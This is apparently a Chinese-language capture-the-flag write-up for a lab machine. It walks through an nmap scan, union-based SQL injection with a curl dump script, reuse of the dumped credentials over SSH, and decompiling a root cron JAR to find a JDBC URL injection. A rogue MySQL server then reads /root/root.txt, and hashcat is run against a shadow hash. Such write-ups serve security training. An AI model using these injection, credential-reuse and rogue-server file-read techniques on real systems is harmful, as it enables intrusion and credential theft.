

```

A yepian 12:36 6GiB/26GiB
nmap -p- -A 192.168.86.202
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-14 12:36 +0800
Nmap scan report for 192.168.86.202
Host is up (0.000024s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
53/tcp    open  domain   (generic dns response: SERVFAIL)
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp    open  http     Apache httpd 2.4.66 ((Debian))
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Calc. - Track Analysis
8080/tcp  open  http     Apache Tomcat (language: en)
|_http-title: Site doesn't have a title (application/json).
1 service unrecognized despite returning data. If you know the service/version, please submit the
service :
SF-Port53-TCP:V=7.98I=7%D=4/14%Time=69DDC475P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\\0\\x1e\\0\\x06\\x81\\x02\\0\\x01\\0\\0\\0\\0\\0\\x07version\\
SF:x04bind\\0\\0\\x10\\0\\x03");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.20 seconds

```

80端口的web应用输入数字 在数据库检索信息然后输出 疑似可以SQL注入

SQL注入获取凭据

CALC. SYSTEM

"All of answers I calculated, entailing sacrifices one by one..."

Enter Track ID to synchronize memories:

Calculate Destiny

Calc DB Syntax Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1

经典注入单引号 成功报错 并且得到DB为MariaDB直接尝试union-based注入

CALC. SYSTEM

"All of answers I calculated, entailing sacrifices one by one..."

Enter Track ID to synchronize memories:

Calculate Destiny

Track: null - Lyric: test

获取数据库名

CALC. SYSTEM

"All of answers I calculated, entailing sacrifices one by one..."

Enter Track ID to synchronize memories:

ION_SCHEMA.SCHEMATA LIMIT 1 OFFSET 1-- |

Calculate Destiny

Track: null - Lyric: calc_db

写个脚本获取表名

```
GNU nano 8.7.1 dump.sh
1 offset=0
2 while(true)
3 do
4   resp=$(curl -s http://192.168.86.202/api/track/3%20UNION%20SELECT%20NULL,NULL,table_name%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%201%20OFFSET%20${offset}
5   --%20-)
6   if echo "$resp" | grep -q "System Calculation Failure."; then
7     break
8   fi
9   echo "${resp} | grep 'Lyric'
10  ((offset++))
11 done
```

dump出来的表名注意到webapp_users 进一步发现列名 id username password

dump表数据 得到凭据 Jimmy:JimmyThumb_Calc_2010

直接尝试凭据复用登陆SSH 成功

本地提权

~有个文件TODO.txt 里面有hint

1. Migrate Tomcat to port 80 (Currently on 8080 via reverse proxy). 2. Secure local database credentials (calc_user : vocaloid_miku_01). 3. Fix backend_sync.jar reading system_config in cron. Do not change 700 permissions on the jar!

本地除了已知开放端口外 还有UDP端口68开放

```

Jimmy@calc:~$ mariadb -u calc_user -pvocaloid_miku_01 -h 127.0.0.1
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 100
Server version: 10.5.29-MariaDB-0+deb11u1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> SHOW DATABASES;
+-----+
| Database          |
+-----+
| calc_db           |
| information_schema |
+-----+
2 rows in set (0.000 sec)

MariaDB [(none)]> |

```

3306的MariaDB就是刚刚dump的那个 尝试LOAD_FILE和INTO OUTFILE读文件写文件都无权限

pspy监控定时任务命令行

```

/usr/sbin/CRON -f
/usr/sbin/CRON -f
/bin/sh -c /usr/bin/java -jar /opt/backend_sync.jar >/dev/null 2>&1

```

定时任务为每一分钟

将backend_sync.jar丢到JADX反编译

```

package com.sync;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
/* JADX INFO: loaded from: backend_sync.jar:com/sync/SyncTask.class */
public class SyncTask {
    public static void main(String[] strArr) {
        try {
            Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/
            ResultSet resultSetExecuteQuery = connection.createStatement().executeQuery("SELE
            if (resultSetExecuteQuery.next()) {
                DriverManager.getConnection(resultSetExecuteQuery.getString("jdbc_url")).clos
            }
            connection.close();
        } catch (Exception e) {
        }
    }
}

```


很明显jdbc url注入

```
Database changed
MariaDB [calc_db]> SELECT jdbc_url FROM system_config WHERE config_name='master_sync_node';
+-----+
| jdbc_url |
+-----+
| jdbc:mysql://127.0.0.1:3306/calc_db?useSSL=false |
+-----+
1 row in set (0.000 sec)

MariaDB [calc_db]> |
```

搭建rogue_mysql_server 读/root/root.txt

```
INFO[2026-04-14 14:09:02] New client from addr [192.168.86.202:36400] logged in with username [calc_user], database [test], ID [2]
INFO[2026-04-14 14:09:02] ==== ATTRS ====
INFO[2026-04-14 14:09:02] [_client_name]: [MySQL Connector Java]
INFO[2026-04-14 14:09:02] [_runtime_version]: [11.0.30]
INFO[2026-04-14 14:09:02] [_client_version]: [5.1.48]
INFO[2026-04-14 14:09:02] [_client_license]: [GPL]
INFO[2026-04-14 14:09:02] [_runtime_vendor]: [Debian]
INFO[2026-04-14 14:09:02] =====
INFO[2026-04-14 14:09:02] Client from addr [192.168.86.202:36400], ID [2] try to query [/* mysql-connector-java-5.1.48 ( Revision: 29734982609c32d3ab7e5cac2e6acee69ff6b4aa ) */SELECT @@session.auto_increment_increment AS auto_increment_increment, @@character_set_client AS character_set_client, @@character_set_connection AS character_set_connection, @@character_set_results AS character_set_results, @@character_set_server AS character_set_server, @@collation_server AS collation_server, @@collation_connection AS collation_connection, @@init_connect AS init_connect, @@interactive_timeout AS interactive_timeout, @@license AS license, @@lower_case_table_names AS lower_case_table_names, @@max_allowed_packet AS max_allowed_packet, @@net_buffer_length AS net_buffer_length, @@net_write_timeout AS net_write_timeout, @@performance_schema AS performance_schema, @@sql_mode AS sql_mode, @@system_time_zone AS system_time_zone, @@time_zone AS time_zone, @@transaction_isolation AS transaction_isolation, @@wait_timeout AS wait_timeout]
INFO[2026-04-14 14:09:02] Now try to read file [/root/root.txt] from addr [192.168.86.202:36400], ID [2]
INFO[2026-04-14 14:09:02] Read success, stored at [/tmp/calc/192.168.86.202/1776146942248_root_root.txt]
INFO[2026-04-14 14:09:02] Client leaved, Addr [192.168.86.202:36400], ID [2]
^C
```

成功读取并保存flag到本地

至于拿shell 可以ysoserial反序列化反弹shell 也可以读/etc/shadow破哈希

Approaching final keypace - workload adjusted.

```
Session.....: hashcat
Status.....: Exhausted
Hash.Mode.....: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target.....: $6$bTrqCT4yN/BbGZ0I$mIuyl175G57.z.bC4n.qZ6ZU666s/Ig...W4xcJ0
Time.Started.....: Tue Apr 14 14:14:36 2026 (4 mins, 31 secs)
Time.Estimated...: Tue Apr 14 14:19:07 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.....: File (/home/yepian/Documents/CTF/SecLists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#01.....: 52932 H/s (5.76ms) @ Accel:3 Loops:124 Thr:256 Vec:1
Recovered.....: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.....: 14344384/14344384 (100.00%)
Rejected.....: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:4960-5000
Candidate.Engine.: Device Generator
Candidates.#01...: !!FLYers2007 → $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 76c Util: 99% Core:2287MHz Mem:12001MHz Bus:8

Started: Tue Apr 14 14:14:34 2026
Stopped: Tue Apr 14 14:19:09 2026
```

哈希跑不出来...那就只能反序列化反弹shell了 嗯...